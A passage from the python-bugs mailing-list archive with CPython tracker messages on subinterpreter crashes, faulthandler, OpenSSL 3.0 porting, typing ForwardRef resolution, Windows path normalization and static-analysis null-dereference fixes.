<1642104811.14.0.66475901898.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: Victor: > (*) I made the GC state per-interpreter: commit 7247407c35330f3f6292f1d40606b7ba6afd5700 (Nov 20, 2019) Eric Snow: > FYI, this was done by me in an earlier comment which we ended up reverting. Later you basically un.reverted that. Well, I recall that your change had to be reverted 2 or 3 times because there were many crashes on FreeBSD, and no one understood why it crashed. The root cause was bugs related to the GIL and daemon threads. It took me a while (and multiple commits) to identify and fix all of them: https://vstinner.github.io/gil-bugfixes-daemon-threads-python39.html I decided to split your work into smaller changes to better debug these crashes. bpo-36854 contains a few changes, but these changes are based on work that I pushed earlier. For example, there was a tricky bug related to clearing a Python thread state: https://github.com/python/cpython/commit/9da7430675ceaeae5abeb9c9f7cd552b71b3a93a Also, once the GC was made per interpreter, we started to discover more and more tricky reference leaks: https://vstinner.github.io/subinterpreter-leaks.html I spent a significant time to reorder code of Py_Finalize() and Py_EndInterpreter() to clear objects earlier or in a different order. Recently, I made sure that the free lists can no longer be used after they are cleared. It took some notes at: https://pythondev.readthedocs.io/finalization.html One of the hardest fix was the commit 9ad58acbe8b90b4d0f2d2e139e38bb5aa32b7fb6 of bpo-19466. To make this change, first I had to fix a very old bug of PyThreadState_Clear() with commit 5804f878e779712e803be927ca8a6df389d82cdf (bpo-20526). Well, it was a long journey and it's not done yet :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:24:19 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 20:24:19 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642105459.01.0.972419196574.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: pyobject_ob_interp.patch: Quick & dirty patch that I wrote to add PyObject.ob_interp, store in which interpreter an object has been created. ---------- Added file: https://bugs.python.org/file50560/pyobject_ob_interp.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:26:44 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 20:26:44 +0000 Subject: [issue46368] faulthandler: add the ability to dump all interpreters, not only the current interpreter Message-ID: <1642105604.41.0.0582703431564.issue46368@roundup.psfhosted.org> New submission from STINNER Victor : While debugging the sub-interpreter crash bpo-46070, I noticed that faulthandler only logs the Python thread state of a single interpreter. When a bug involves multiple interpreters, it is useful to log all interpreters. ---------- components: Library (Lib) messages: 410519 nosy: vstinner priority: normal severity: normal status: open title: faulthandler: add the ability to dump all interpreters, not only the current interpreter versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:27:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 20:27:02 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642105622.57.0.886130183049.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: I created bpo-46368: "faulthandler: add the ability to dump all interpreters, not only the current interpreter". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:30:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 20:30:27 +0000 Subject: [issue46368] faulthandler: add the ability to dump all interpreters, not only the current interpreter In-Reply-To: <1642105604.41.0.0582703431564.issue46368@roundup.psfhosted.org> Message-ID: <1642105827.68.0.86932751175.issue46368@roundup.psfhosted.org> STINNER Victor added the comment: Attached patch is an incomplete quick & dirty implementation to log all interpreters in _Py_DumpTracebackThreads(). A better implementation should leave the current behavior unmodified, add a new C function, and add all_interpreters=False parameter to the following faulthandler functions: * dump_traceback() * enable() * register() ---------- keywords: +patch Added file: https://bugs.python.org/file50561/faulthandler.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:38:18 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 20:38:18 +0000 Subject: [issue46357] socket module fix warning build on FreeBSD In-Reply-To: <1642012257.59.0.572521608416.issue46357@roundup.psfhosted.org> Message-ID: <1642106298.28.0.242716395509.issue46357@roundup.psfhosted.org> STINNER Victor added the comment: > I took as initialized to avoid undefined behavior rather than anything. I don't get what you mean. Can you please show me which functions initialize sockaddr_l2cap structures and explain how the current code fills all members? I don't know the code well enough to approve your PR 30560. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:47:51 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 20:47:51 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642106871.19.0.0478109760333.issue40479@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28783 pull_request: https://github.com/python/cpython/pull/30585 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:47:55 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 20:47:55 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642106875.59.0.136938274032.issue40479@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28784 pull_request: https://github.com/python/cpython/pull/30586 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 15:48:12 2022 From: report at bugs.python.org (Christian Heimes) Date: Thu, 13 Jan 2022 20:48:12 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642106892.88.0.0784753693735.issue40479@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 276c234ce0fa6732237f1b187989837324d9dea3 by Christian Heimes in branch 'main': bpo-40479: Fix typo, flag must be set for OpenSSL < 3.0.0 (GH-30584) https://github.com/python/cpython/commit/276c234ce0fa6732237f1b187989837324d9dea3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 16:08:31 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 21:08:31 +0000 Subject: [issue46360] Inconsistent import behavior for (unusual) submodules In-Reply-To: <1642025090.39.0.843504931319.issue46360@roundup.psfhosted.org> Message-ID: <1642108111.06.0.0622966586204.issue46360@roundup.psfhosted.org> Eric Snow added the comment: > I'm going to assume the "even though sys.modules has `None`" case, > which I think is an oversight and should probably get fixed Yep, I agree. That's the case I was looking at in the first place. I noticed the other two as I was hacking together code to verify the None behavior. :) Bothering to change those would be more trouble than its worth. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 16:08:55 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 21:08:55 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642108135.04.0.306293447026.issue40479@roundup.psfhosted.org> miss-islington added the comment: New changeset 47422a852de14a8ec11d058136c7c864d2cc7fc9 by Miss Islington (bot) in branch '3.10': [3.10] bpo-40479: Fix typo, flag must be set for OpenSSL < 3.0.0 (GH-30584) (GH-30585) https://github.com/python/cpython/commit/47422a852de14a8ec11d058136c7c864d2cc7fc9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 16:19:53 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 21:19:53 +0000 Subject: [issue40479] Port _hashlib to OpenSSL 3.0.0 In-Reply-To: <1588497803.18.0.937746880221.issue40479@roundup.psfhosted.org> Message-ID: <1642108793.35.0.945806323632.issue40479@roundup.psfhosted.org> miss-islington added the comment: New changeset 537f16adfa31b5b1fe9d656d571d1e10fb115351 by Miss Islington (bot) in branch '3.9': bpo-40479: Fix typo, flag must be set for OpenSSL < 3.0.0 (GH-30584) https://github.com/python/cpython/commit/537f16adfa31b5b1fe9d656d571d1e10fb115351 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 16:21:57 2022 From: report at bugs.python.org (David CARLIER) Date: Thu, 13 Jan 2022 21:21:57 +0000 Subject: [issue46357] socket module fix warning build on FreeBSD In-Reply-To: <1642012257.59.0.572521608416.issue46357@roundup.psfhosted.org> Message-ID: <1642108917.31.0.454049254009.issue46357@roundup.psfhosted.org> David CARLIER added the comment: I get what you mean now I thought memset was enough. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 16:22:09 2022 From: report at bugs.python.org (David CARLIER) Date: Thu, 13 Jan 2022 21:22:09 +0000 Subject: [issue46357] socket module fix warning build on FreeBSD In-Reply-To: <1642012257.59.0.572521608416.issue46357@roundup.psfhosted.org> Message-ID: <1642108929.07.0.0898892872735.issue46357@roundup.psfhosted.org> Change by David CARLIER : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 16:49:34 2022 From: report at bugs.python.org (Andreas H.) Date: Thu, 13 Jan 2022 21:49:34 +0000 Subject: [issue46369] get_type_hints does not evaluate ForwardRefs inside NewType Message-ID: <1642110574.72.0.371429646126.issue46369@roundup.psfhosted.org> New submission from Andreas H. : Consider the following: NewT = typing.NewType("NewT", typing.List[typing.Optional['Z']] ) class Z: pass Now get_type_hints() does not resolve the ForwardRef within NewType (but it does so for TypedDict, dataclasses, NamedTuple). Neither of the following works. 1) class dummy: test: NewT get_type_hints(test,None,None) print( NewT.__supertype__.__args__[0].__args__[0]__.__forward_evaluated__ ) # --> False Note: investigating the return value of get_type_hints does not change the outcome. get_type_hints() patches ForwardRefs in-place. 2) get_type_hints(NewT,None,None) # --> TypeError is not a module, class, method, or function For Python 3.10+ a workaround exists, but requires access to implementation details of NewType: class dummy: test: NewT.__supertype__ get_type_hints( dummy, globalns=sys.modules[NewT.__module__].__dict__, localns=None ) Possible solution could be A) to extent `get_type_hints` to explicitly handle NewType (basically call _eval_type for the __supertype__ member). That makes approach 2) work (but not 1) or B) to extend _eval_type() to handle process NewType as well. This would make 1) work (but not 2). I guess, since NewType is supposed to be semantically a subclass of the referred type, 2) is probably the preferred approach, which would suggest A). Strictly speaking this issue exits in all Python versions that have NewType, but it is easier to fix in 3.10 because there NewType has the __module__ member. ---------- components: Library (Lib) messages: 410528 nosy: andreash, gvanrossum, kj priority: normal severity: normal status: open title: get_type_hints does not evaluate ForwardRefs inside NewType type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 17:19:28 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 22:19:28 +0000 Subject: [issue46370] Move runtime static init to its own header file. Message-ID: <1642112368.34.0.095253636742.issue46370@roundup.psfhosted.org> New submission from Eric Snow : The static initializer for `_PyRuntime` is currently defined in Include/internal/pycore_runtime.h. However, it is only needed by Python/pylifecycle.c (and Python/pystate.c for an optimization) and should only be used there. (Also, the initializer is quite large.) So I'm planning on moving it to it's own internal header file. ---------- assignee: eric.snow components: Interpreter Core messages: 410529 nosy: eric.snow priority: normal severity: normal stage: needs patch status: open title: Move runtime static init to its own header file. versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 17:23:17 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 22:23:17 +0000 Subject: [issue46370] Move runtime static init to its own header file. In-Reply-To: <1642112368.34.0.095253636742.issue46370@roundup.psfhosted.org> Message-ID: <1642112597.64.0.564632155209.issue46370@roundup.psfhosted.org> Change by Eric Snow : ---------- keywords: +patch pull_requests: +28785 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/30587 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 17:54:43 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 22:54:43 +0000 Subject: [issue46370] Move runtime static init to its own header file. In-Reply-To: <1642112368.34.0.095253636742.issue46370@roundup.psfhosted.org> Message-ID: <1642114483.95.0.886283416115.issue46370@roundup.psfhosted.org> Eric Snow added the comment: New changeset bc02eac9d2cb36faffc5027b7ce09e6dd0922a7f by Eric Snow in branch 'main': bpo-46370: Move the static initializer for _PyRuntime to its own header file. (gh-30587) https://github.com/python/cpython/commit/bc02eac9d2cb36faffc5027b7ce09e6dd0922a7f ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 17:55:08 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 22:55:08 +0000 Subject: [issue46370] Move runtime static init to its own header file. In-Reply-To: <1642112368.34.0.095253636742.issue46370@roundup.psfhosted.org> Message-ID: <1642114508.92.0.879032955033.issue46370@roundup.psfhosted.org> Change by Eric Snow : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:00:35 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 23:00:35 +0000 Subject: [issue45797] AMD64 Arch Linux Asan Debug buildbot sometimes hangs before tests complete In-Reply-To: <1636759313.91.0.941705839577.issue45797@roundup.psfhosted.org> Message-ID: <1642114835.44.0.303944744442.issue45797@roundup.psfhosted.org> STINNER Victor added the comment: I didn't notice this issue recently, but I didn't pay attention this buildbot worker neither. I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:04:42 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 23:04:42 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1642115082.88.0.323057370835.issue45953@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +28786 pull_request: https://github.com/python/cpython/pull/30588 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:33:51 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 13 Jan 2022 23:33:51 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642116831.81.0.0568608609695.issue46362@roundup.psfhosted.org> Steve Dower added the comment: One thing to be aware of is that Windows 11 has changed the rules around these files, so here's my results with 3.10: >>> for path in paths: ... print(os.path.abspath(path)) ... C:\CON C:\PRN C:\AUX \\.\NUL C:\COM1 C:\COM2 C:\COM3 C:\COM9 C:\LPT1 C:\LPT2 C:\LPT3 C:\LPT9 C:\foo But this shouldn't be an issue with the proposed (about to be merged) change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:35:46 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 13 Jan 2022 23:35:46 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642116946.58.0.505533207935.issue46362@roundup.psfhosted.org> Steve Dower added the comment: New changeset d4e64cd4b0ea431d4e371f9b0a25f6b75a069dc1 by neonene in branch 'main': bpo-46362: Ensure ntpath.abspath() uses the Windows API correctly (GH-30571) https://github.com/python/cpython/commit/d4e64cd4b0ea431d4e371f9b0a25f6b75a069dc1 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:36:15 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 23:36:15 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1642116975.32.0.0401843999775.issue45953@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +28787 pull_request: https://github.com/python/cpython/pull/30589 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:38:17 2022 From: report at bugs.python.org (Eric Snow) Date: Thu, 13 Jan 2022 23:38:17 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1642117097.28.0.372895488401.issue45953@roundup.psfhosted.org> Change by Eric Snow : ---------- pull_requests: +28788 pull_request: https://github.com/python/cpython/pull/30590 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:38:14 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 13 Jan 2022 23:38:14 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642117094.09.0.285103498157.issue46362@roundup.psfhosted.org> Steve Dower added the comment: Thanks for the patch! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 18:48:15 2022 From: report at bugs.python.org (Andreas H.) Date: Thu, 13 Jan 2022 23:48:15 +0000 Subject: [issue46371] A better way to resolve ForwardRefs in type aliases across modules Message-ID: <1642117695.26.0.396895524876.issue46371@roundup.psfhosted.org> New submission from Andreas H. : (De)Serialization of in-memory data structures is an important application. However there is a rather unpleasant issue with ForwardRefs. One cannot export type aliases when they contain ForwardRefs (and expect things to work). Consider the example: Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] When used in another module the containing ForwardRefs cannot be resolved, or in the worst case, resolve to wrong types if in the caller namespace contains a symbol with the same name as ForwardRef refers to. This of course only applies to inspection-based tools which utilize the run-time information, not the static type checkers. Type aliases sometimes have to be used sometimes - they cannot be avoided in all cases, especially with recursive types as in the example above. There are several options to improve the situation. These are all that came to my mind and I want to expose them to discussion. 1. Guard with NewType Json = NewType('Json', Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] ) Advantage: This could allow automatic cross-module ForwardRef resolution provided issue 46369 [1] is acknowledged as a bug and fixed. Disadvantage: Does not create a true type alias, but a sub-type. Type casts have to be used all the time, e.g. `data = Json(bool)`. So can only applied to a subset of use-cases (but is IMO a clean solution when it fits). 2. Use the `module` parameter of ForwardRef Json = Union[ List[ForwardRef('Json', module=__name__)], Dict[str, ForwardRef('Json', module=__name__)], int, float, bool, None ] ) Advantage: Works in 3.10. Disadvantage: Would require issue 46333 [2] to be fixed. ForwardRef is not meant to be instatiated by the user, also `module` parameter is currently completely internal. 3. Modify ForwardRef so that it accepts a fully qualified name Json = Union[ List[__name__+'.Json'], Dict[str, __name__+'.Json'], int, float, bool, None ] ) Advantage: This is only a tiny change (because ForwardRef has the `module` parameter). ForwardRef would stay internal. Less ugly than 2. Disadvantage: Still a bit ugly. Would also require issue 46333 [2] to be fixed. Relative module specification (as in relative imports) would not work. 4. Manual evaluation Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] resolve_type_alias(Json, globals(), locals() ) def resolve_type_alias(type, globalns, localns): class dummy: test: type typing.get_type_hints(dummy, globalns, localns) # Note: this modifies ForwardRefs in-place Advantage: Works in many versions. Disadvantage: Requires user to explicily call function after the last referenced type is defined (this may be physically separated from the type alias definition, which does not feel like a good solution especially since this ForwardRef export problem is only technical, and not even close to beeing obvious to most people) 5. Make `get_type_hints()` to work with type-aliases (essentially integrate above `resolve_type_alias`). The return value of get_type_hints() would be the same as argument, just with ForwardRefs in-place resolved. Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] get_type_hints(Json, globals(), locals()) Advantage: same as 4) but hides useful (but ugly) code Disadvantage: same as 4) 6. Make all types in typing (such as List, Dict, Union, etc...) to capture their calling module and pass this information to ForwardRef, when one is to be created. Then already during construction of ForwardRef the `module` will be correctly set. Json = Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] Advantage: This requires no user intervention. Things will "just work" Disadvantage: This is rather big change. It is incompatible with the caching used inside typing.py (the new __module__ parameter would need to be taken into account in __hash__ and/or __eq__). And maybe has other issues I do not see at the moment. 7. Extend `TypeAlias` hint so it can be used in bracket way similar to e.g. `Annotated` Json = TypeAlias[ Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] ] I know, presently it is supposed to be used as `Json: TypeAlias = Union[ .... ]`. But that is of no help at run-time, because the variable Json contains no run-time information. So even if TypeAlias would capture the calling module, this information is not passed on to the variable `Json`. This is different for the bracket notation TypeAlias[ .. ]. Advantage: Similar usage to Annotated. Would not require a big change such as in 4). Disadvantage: TypeAlias is not supposed to be used that way. 8. Introduce function to define a type alias, which sets the module parameter of all ForwardRefs Json = DefineTypeAlias( Union[ List['Json'], Dict[str, 'Json'], int, float, bool, None ] ) DefineTypeAlias would capture its calling module and recursively walk over the type tree to find and patch all ForwardRefs Advantage: Simpler change, but requires to recurively walk over all alias type-hints which do not capture their calling module. Disadvantage: Together with TypeAlias, things look ugly and unnecessary complicated. (Json: TypeAlias = DefineTypeAlias( ... ) ) Personally, I think 1) is a good solution in cases where this can be applied (and [1] is considered a bug and fixed). For the other cases 6) would be the ideal solution, but this may be too much work. Alternatively I think 3), 8) or 5) (in that order) may be interesting and could be a potential enhancement to the `typing` module. I would really appreciate some thoughts or comments on this! Thank you. - [1] https://bugs.python.org/issue46369 - [2] https://bugs.python.org/issue46333 ---------- components: Library (Lib) messages: 410535 nosy: AlexWaygood, andreash, gvanrossum, kj, kumaraditya303 priority: normal severity: normal status: open title: A better way to resolve ForwardRefs in type aliases across modules type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 19:09:33 2022 From: report at bugs.python.org (Eric Snow) Date: Fri, 14 Jan 2022 00:09:33 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1642118973.84.0.650279627454.issue45953@roundup.psfhosted.org> Eric Snow added the comment: New changeset 324908ba936d5d262026deebb81f050803848c41 by Eric Snow in branch 'main': bpo-45953: Statically initialize all the PyThreadState fields we can. (gh-30590) https://github.com/python/cpython/commit/324908ba936d5d262026deebb81f050803848c41 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 19:17:46 2022 From: report at bugs.python.org (Eric Snow) Date: Fri, 14 Jan 2022 00:17:46 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1642119466.98.0.961204777512.issue45953@roundup.psfhosted.org> Eric Snow added the comment: New changeset 322f962f3ee31d0dbde99e36379de8488ccc6804 by Eric Snow in branch 'main': bpo-45953: Statically initialize all the non-object PyInterpreterState fields we can. (gh-30589) https://github.com/python/cpython/commit/322f962f3ee31d0dbde99e36379de8488ccc6804 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 20:22:24 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 Jan 2022 01:22:24 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1642123344.24.0.792383658213.issue45953@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 20:45:04 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 Jan 2022 01:45:04 +0000 Subject: [issue46308] Unportable test(1) operator in configure script In-Reply-To: <1641678204.62.0.509578549698.issue46308@roundup.psfhosted.org> Message-ID: <1642124704.89.0.916193474008.issue46308@roundup.psfhosted.org> STINNER Victor added the comment: commit b962544594c6a7c695330dd20fedffb3a1916ba6 Author: Miss Islington (bot) <31488909+miss-islington at users.noreply.github.com> Date: Sat Jan 8 17:08:20 2022 -0800 bpo-34602: Fix unportable test(1) operator in configure script (GH-30490) (GH-30491) (cherry picked from commit 3d11c1b8b49800c5c4c295953cc3abf577f6065a) Co-authored-by: Thomas Klausner ---------- nosy: +vstinner resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 20:53:40 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 Jan 2022 01:53:40 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1642125220.55.0.992770273939.issue46280@roundup.psfhosted.org> Change by STINNER Victor : ---------- nosy: +vstinner nosy_count: 6.0 -> 7.0 pull_requests: +28789 pull_request: https://github.com/python/cpython/pull/30591 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 20:54:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 Jan 2022 01:54:53 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1642125293.31.0.201717193273.issue46280@roundup.psfhosted.org> STINNER Victor added the comment: #389 Modules/_tracemalloc.c:1245: error: Null Dereference pointer `traces2` last assigned on line 1243 could be null and is dereferenced by call to `_Py_hashtable_destroy()` at line 1245, column 9. 1243. _Py_hashtable_t *traces2 = tracemalloc_copy_traces(traces); 1244. if (_Py_hashtable_set(domains2, TO_PTR(domain), traces2) < 0) { 1245. _Py_hashtable_destroy(traces2); ^ 1246. return -1; 1247. } That's a real bug: I wrote PR #30591 to fix it. Whereas the following one must be ignored, since the function does crash (read at NULL) on purpose: #360 Modules/faulthandler.c:1025: error: Null Dereference pointer `x` last assigned on line 1024 could be null and is dereferenced at line 1025, column 9. 1023. faulthandler_suppress_crash_report(); 1024. x = NULL; 1025. y = *x; ^ 1026. return PyLong_FromLong(y); 1027. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 22:02:29 2022 From: report at bugs.python.org (simon28li) Date: Fri, 14 Jan 2022 03:02:29 +0000 Subject: [issue46365] _ curses module is not installed In-Reply-To: <1642064382.91.0.285333695171.issue46365@roundup.psfhosted.org> Message-ID: <1642129349.58.0.709715518963.issue46365@roundup.psfhosted.org> Change by simon28li : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 22:38:10 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 14 Jan 2022 03:38:10 +0000 Subject: [issue46371] A better way to resolve ForwardRefs in type aliases across modules In-Reply-To: <1642117695.26.0.396895524876.issue46371@roundup.psfhosted.org> Message-ID: <1642131490.97.0.145054745593.issue46371@roundup.psfhosted.org> Change by Jelle Zijlstra : ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 23:11:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 Jan 2022 04:11:46 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1642133506.25.0.817139761503.issue46280@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 7c770d3350813a82a639fcb3babae0de2b87aaae by Victor Stinner in branch 'main': bpo-46280: Fix tracemalloc_copy_domain() (GH-30591) https://github.com/python/cpython/commit/7c770d3350813a82a639fcb3babae0de2b87aaae ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 23:11:50 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 04:11:50 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1642133510.09.0.928585454937.issue46280@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 7.0 -> 8.0 pull_requests: +28790 pull_request: https://github.com/python/cpython/pull/30592 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 23:11:55 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 04:11:55 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1642133515.53.0.845155465531.issue46280@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28791 pull_request: https://github.com/python/cpython/pull/30593 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 23:32:46 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 04:32:46 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1642134766.84.0.949905352445.issue46280@roundup.psfhosted.org> miss-islington added the comment: New changeset 86d18019e96167c5ab6f5157fa90598202849904 by Miss Islington (bot) in branch '3.10': bpo-46280: Fix tracemalloc_copy_domain() (GH-30591) https://github.com/python/cpython/commit/86d18019e96167c5ab6f5157fa90598202849904 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 13 23:35:25 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 14 Jan 2022 04:35:25 +0000 Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1642134925.11.0.84991478429.issue46280@roundup.psfhosted.org> miss-islington added the comment: New changeset ae6e255cb362557ff713ff2967aecb92f7eb069c by Miss 